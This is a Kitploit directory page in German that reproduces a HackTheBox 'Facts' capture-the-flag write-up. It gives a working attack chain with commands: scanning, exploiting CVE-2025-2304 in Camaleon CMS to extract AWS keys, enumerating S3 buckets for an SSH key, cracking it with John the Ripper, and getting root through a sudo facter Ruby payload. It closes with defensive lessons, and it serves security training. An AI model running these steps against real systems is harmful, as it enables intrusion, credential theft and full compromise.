Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/mattiapertusati/htb-facts
Passwort-CrackingPrivilege EscalationAufklärungSchwachstellenanalyseExploitationWebanwendungs-ExploitationCTFPenetrationstestsCloud-SicherheitLernen & Bildung
GitHubmattiapertusati/htb-facts

htb-facts

3vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

HackTheBox — Facts (Easy/Linux) | CVE-2025-2304 + AWS S3 + SSH Key + Facter PrivEsc

Repository anzeigen

HTB — Facts (Easy/Linux) - Staffel 10

HTB Difficulty OS Status Techniques Techniques PrivEsc

Zusammenfassung

Facts ist eine einfache Linux-Maschine, die die Ausnutzung einer bekannten Schwachstelle (CVE-2025-2304) in Camaleon CMS erfordert, um lokale AWS-S3-Zugangsdaten zu extrahieren. Die Enumeration der internen S3-Buckets offenbart einen SSH-privaten Schlüssel, der mit John the Ripper geknackt werden muss, um ersten Zugang zu erlangen. Die Privilegienausweitung erfolgt durch die Ausnutzung einer sudo-Fehlkonfiguration bei /usr/bin/facter, die die Ausführung von benutzerdefiniertem Ruby-Code ermöglicht, um eine Root-Shell zu erhalten.

Angriffskette: Nmap → Camaleon CMS (CVE-2025-2304) → S3-Bucket-Enumeration → SSH-Schlüssel-Cracking → sudo facter → Root


Aufklärung

Port-Scan

Beginnen wir mit einem Nmap-Scan, um die aktiven Dienste auf der Zielmaschine zu identifizieren. Bash

root@kitploit:~
nmap -sV -sC -oN nmap_facts 10.129.244.96

Ergebnisse:

PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.26.3 (Ubuntu) |_http-title: facts |_http-server-header: nginx/1.26.3 (Ubuntu)

Nmap-Scan

Nmap zeigt zwei offene Ports: 22 (SSH) und 80 (HTTP). Der Webserver basiert auf Nginx. Bevor wir richtig mit der Website interagieren können, sollten wir den Host facts.htb zu unserer /etc/hosts-Datei hinzufügen.

root@kitploit:~
echo “10.129.244.96 facts.htb” | sudo tee -a /etc/hosts

Web-Enumeration

Beim Besuch der Website auf Port 80 wird uns eine Standard-Webseite präsentiert. Um versteckte Pfade aufzudecken, starten wir einen Directory-Brute-Force-Angriff (z. B. mit ffuf oder gobuster).

root@kitploit:~
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://facts.htb/FUZZ

Die Enumeration zeigt mehrere interessante Verzeichnisse im Zusammenhang mit einem Admin-Panel (/admin, /admin.php usw.), die alle mit einem 302-Status auf http://facts.htb/admin/login. weiterleiten.

Enumeration

Beim Besuch der Anmeldeseite und der Authentifizierung (oder durch einen Blick in die Fußzeile des Panels) entdecken wir die Technologie hinter der Website: Camaleon CMS.

Ein wichtiges Detail fällt uns in der unteren rechten Ecke auf: Die CMS-Version ist 2.9.0.

Admin-Panel


Ausnutzung

Camaleon CMS (CVE-2025-2304)

Da wir wissen, dass der Server Camaleon CMS 2.9.0 ausführt, führt uns eine schnelle Online-Suche zu einer kritischen Schwachstelle namens CVE-2025-2304, die eine Privilegienausweitung von einem authentifizierten Benutzer zu einem Administrator ermöglicht.

Wir finden einen öffentlichen Exploit auf GitHub (erstellt von Alien0ne) und laden ihn auf unsere Angreifer-Maschine herunter.

GitHub-Exploit

Wir starten den Exploit, indem wir die in unserem Besitz befindlichen Zugangsdaten (z. B. mattia:mattia) übergeben, um uns zum Admin zu erheben, sensible Informationen zu extrahieren und dann zur ursprünglichen Rolle zurückzukehren, um keine offensichtlichen Spuren zu hinterlassen.

root@kitploit:~
python3 exploit.py -u http://facts.htb -U mattia -P mattia --newpass mattia -e -r

Die Ausgabe des Exploits ist eine Goldgrube: Sie schafft es, lokale AWS-S3-Zugangsdaten und den internen Endpunkt des Servers zu extrahieren.

  • S3-Zugriffsschlüssel: AKIAA103ACAA5953D888

  • S3-Geheimschlüssel: ELsaDX4pIZYwPJf+dVdUuoHtkwGsRPvKIGCmDfiR

  • S3-Endpunkt: http://localhost:54321 (der für uns zu http://facts.htb:54321 wird)

Exploit


S3-Bucket-Enumeration

Mit diesen Schlüsseln können wir unsere lokale AWS-CLI konfigurieren, um mit dem von der Maschine bereitgestellten S3-Dienst zu interagieren.

root@kitploit:~
aws configure
# Enter the Access Key and Secret Key we just found
# Default region: us
# Default output format: json

Jetzt können wir die verfügbaren Buckets auflisten, indem wir die benutzerdefinierte Endpunkt-URL übergeben:

root@kitploit:~
aws --endpoint-url http://facts.htb:54321 s3 ls

Wir finden zwei Buckets: internal und randomfacts. Durch die rekursive Erkundung des internal-Buckets entdecken wir einen .ssh-Ordner mit Schlüsseln!

root@kitploit:~
aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal/.ssh/ --recursive

Laden wir die Datei id_ed25519 (den SSH-privaten Schlüssel) auf unsere Maschine herunter.


SSH-Schlüssel-Cracking

Wir haben den privaten Schlüssel, aber er ist durch eine Passphrase geschützt. Um ihn zu knacken, verwenden wir die John-the-Ripper-Suite. Zuerst konvertieren wir den Schlüssel mit ssh2john in ein Format, das John lesen kann:

root@kitploit:~
ssh2john id_ed25519 > hash.txt

Als Nächstes starten wir den Wörterbuchangriff (mit der benutzerdefinierten Wortliste my_guess.txt oder der klassischen rockyou.txt):

root@kitploit:~
john --wordlist=my_guess.txt hash.txt

Das Passwort wurde erfolgreich geknackt: dragonballz. Jetzt haben wir alles, was wir für den Zugriff auf den Server benötigen!

Exploit


Privilegienausweitung

Jetzt, wo wir alles haben, was wir brauchen, können wir den zweiten offenen Port nutzen, den wir zuvor entdeckt haben: den SSH-Port (22).

root@kitploit:~
ssh -i id_ed25519 [email protected]

Wir verwenden das zuvor gefundene Passwort: dragonballz. Wir sind drin!

Jetzt müssen wir herausfinden, welchen Pfad wir ausnutzen können, um root-Zugriff zu erhalten. Dazu verwenden wir sudo -l.

Pfad:

/usr/bin/facter

Um diesen Pfad auszunutzen, verwenden wir ein Miniskript:

root@kitploit:~
echo 'Facter.add(:pwn) do
  setcode do
    exec (“/bin/bash -p”)
  end
end' > /tmp/pwn.rb

Und dann führen wir es aus:

root@kitploit:~
sudo /usr/bin/facter --custom-dir=/tmp pwn

SSH

Wir sind offiziell root!!!

Jetzt müssen wir nur noch die beiden Flags finden :)

FLAG


Erkenntnisse

Offensive Perspektive

  • Die Offenlegung der CMS-Version in Fußzeile/Headern offenbart sofort die Angriffsfläche
  • CVE-Recherche zu bestimmten Versionen ist nach dem Fingerprinting immer der erste Schritt
  • Interne Dienste wie S3 können sensible Daten offenlegen, die nicht für die Öffentlichkeit bestimmt sind
  • SSH-private Schlüssel in Cloud-Speichern sind eine kritische Fehlkonfiguration, die in realen Umgebungen vorkommt

Defensive Perspektive

  • AWS-Zugangsdaten niemals im Anwendungscode oder in zugänglichem Speicher offenlegen
  • S3-Bucket-Berechtigungen einschränken — interne Buckets sollten niemals öffentlich enumerierbar sein
  • Sudo-Berechtigungen regelmäßig prüfen — facter mit NOPASSWD ist ein direkter Weg zu root
  • CMS-Software aktuell halten — für CVE-2025-2304 war ein Patch verfügbar

Zusammenfassung der Angriffskette

NMAP — 2 Ports entdeckt (22, 80) ↓ Web-Enumeration — Admin-Bereich gefunden ↓ Camaleon CMS -> CVE-2025-2304 ↓ Exploit + AWS-Einstellungen ↓ John the Ripper für den Hash ↓ SSH-Login ↓ Sudo -l ↓ Skript + Ausführung ↓ ROOT ✅


Referenzen

  • CVE-2025-2304
  • Camaleon CMS
  • GTFOBins — facter
  • HackTheBox — Facts
Tool herunterladen